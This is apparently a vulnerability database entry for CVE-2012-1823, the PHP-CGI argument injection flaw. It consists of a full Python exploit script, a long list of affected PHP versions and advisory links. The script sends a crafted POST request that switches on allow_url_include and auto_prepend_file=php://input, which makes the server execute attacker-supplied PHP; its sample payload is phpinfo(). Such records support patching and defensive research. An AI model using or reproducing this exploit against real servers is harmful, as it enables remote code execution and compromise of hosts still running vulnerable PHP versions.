###################################################################################### # Exploit Title: Cve-2012-1823 PHP CGI Argument Injection Exploit # Date: May 4, 2012 # Author: rayh4c[0x40]80sec[0x2e]com # Exploit Discovered by wofeiwo[0x40]80sec[0x2e]com ###################################################################################### import socket import sys def cgi_exploit(): pwn_code = """<?php phpinfo();?>""" post_Length = len(pwn_code) http_raw="""POST /?-dallow_url_include%%3don+-dauto_prepend_file%%3dphp://input HTTP/1.1 Host: %s Content-Type: application/x-www-form-urlencoded Content-Length: %s %s """ %(HOST , post_Length ,pwn_code) print http_raw try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((HOST, int(PORT))) sock.send(http_raw) data = sock.recv(10000) print repr(data) sock.close() except socket.error, msg: sys.stderr.write("[ERROR] %s\n" % msg[1]) sys.exit(1) if __name__ == '__main__': try: HOST = sys.argv[1] PORT = sys.argv[2] cgi_exploit() except IndexError: print '[+]Usage: cgi_test.py site.com 80' sys.exit(-1)

Products Mentioned

Configuraton 0

Php>>Php >> Version To (including) 5.3.12

Php>>Php >> Version 1.0

Php>>Php >> Version 2.0

Php>>Php >> Version 2.0b10

Php>>Php >> Version 3.0

Php>>Php >> Version 3.0.1

Php>>Php >> Version 3.0.2

Php>>Php >> Version 3.0.3

Php>>Php >> Version 3.0.4

Php>>Php >> Version 3.0.5

Php>>Php >> Version 3.0.6

Php>>Php >> Version 3.0.7

Php>>Php >> Version 3.0.8

Php>>Php >> Version 3.0.9

Php>>Php >> Version 3.0.10

Php>>Php >> Version 3.0.11

Php>>Php >> Version 3.0.12

Php>>Php >> Version 3.0.13

Php>>Php >> Version 3.0.14

Php>>Php >> Version 3.0.15

Php>>Php >> Version 3.0.16

Php>>Php >> Version 3.0.17

Php>>Php >> Version 3.0.18

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0.0

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.2

Php>>Php >> Version 4.0.3

Php>>Php >> Version 4.0.4

Php>>Php >> Version 4.0.5

Php>>Php >> Version 4.0.6

Php>>Php >> Version 4.0.7

Php>>Php >> Version 4.1.0

Php>>Php >> Version 4.1.1

Php>>Php >> Version 4.1.2

Php>>Php >> Version 4.2.0

Php>>Php >> Version 4.2.1

Php>>Php >> Version 4.2.2

Php>>Php >> Version 4.2.3

Php>>Php >> Version 4.3.0

Php>>Php >> Version 4.3.1

Php>>Php >> Version 4.3.2

Php>>Php >> Version 4.3.3

Php>>Php >> Version 4.3.4

Php>>Php >> Version 4.3.5

Php>>Php >> Version 4.3.6

Php>>Php >> Version 4.3.7

Php>>Php >> Version 4.3.8

Php>>Php >> Version 4.3.9

Php>>Php >> Version 4.3.10

Php>>Php >> Version 4.3.11

Php>>Php >> Version 4.4.0

Php>>Php >> Version 4.4.1

Php>>Php >> Version 4.4.2

Php>>Php >> Version 4.4.3

Php>>Php >> Version 4.4.4

Php>>Php >> Version 4.4.5

Php>>Php >> Version 4.4.6

Php>>Php >> Version 4.4.7

Php>>Php >> Version 4.4.8

Php>>Php >> Version 4.4.9

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.1

Php>>Php >> Version 5.0.2

Php>>Php >> Version 5.0.3

Php>>Php >> Version 5.0.4

Php>>Php >> Version 5.0.5

Php>>Php >> Version 5.1.0

Php>>Php >> Version 5.1.1

Php>>Php >> Version 5.1.2

Php>>Php >> Version 5.1.3

Php>>Php >> Version 5.1.4

Php>>Php >> Version 5.1.5

Php>>Php >> Version 5.1.6

Php>>Php >> Version 5.2.0

Php>>Php >> Version 5.2.1

Php>>Php >> Version 5.2.2

Php>>Php >> Version 5.2.3

Php>>Php >> Version 5.2.4

Php>>Php >> Version 5.2.5

Php>>Php >> Version 5.2.6

Php>>Php >> Version 5.2.7

Php>>Php >> Version 5.2.8

Php>>Php >> Version 5.2.9

Php>>Php >> Version 5.2.10

Php>>Php >> Version 5.2.11

Php>>Php >> Version 5.2.12

Php>>Php >> Version 5.2.13

Php>>Php >> Version 5.2.14

Php>>Php >> Version 5.2.15

Php>>Php >> Version 5.2.16

Php>>Php >> Version 5.2.17

Php>>Php >> Version 5.3.0

Php>>Php >> Version 5.3.1

Php>>Php >> Version 5.3.2

Php>>Php >> Version 5.3.3

Php>>Php >> Version 5.3.4

Php>>Php >> Version 5.3.5

Php>>Php >> Version 5.3.6

Php>>Php >> Version 5.3.7

Php>>Php >> Version 5.3.8

Php>>Php >> Version 5.3.9

Php>>Php >> Version 5.3.10

Php>>Php >> Version 5.3.11

Php>>Php >> Version 5.4.0

Php>>Php >> Version 5.4.0

Php>>Php >> Version 5.4.1

Php>>Php >> Version 5.4.2

References

http://secunia.com/advisories/49014
Tags : third-party-advisory, x_refsource_SECUNIA
https://bugs.php.net/bug.php?id=61910
Tags : x_refsource_CONFIRM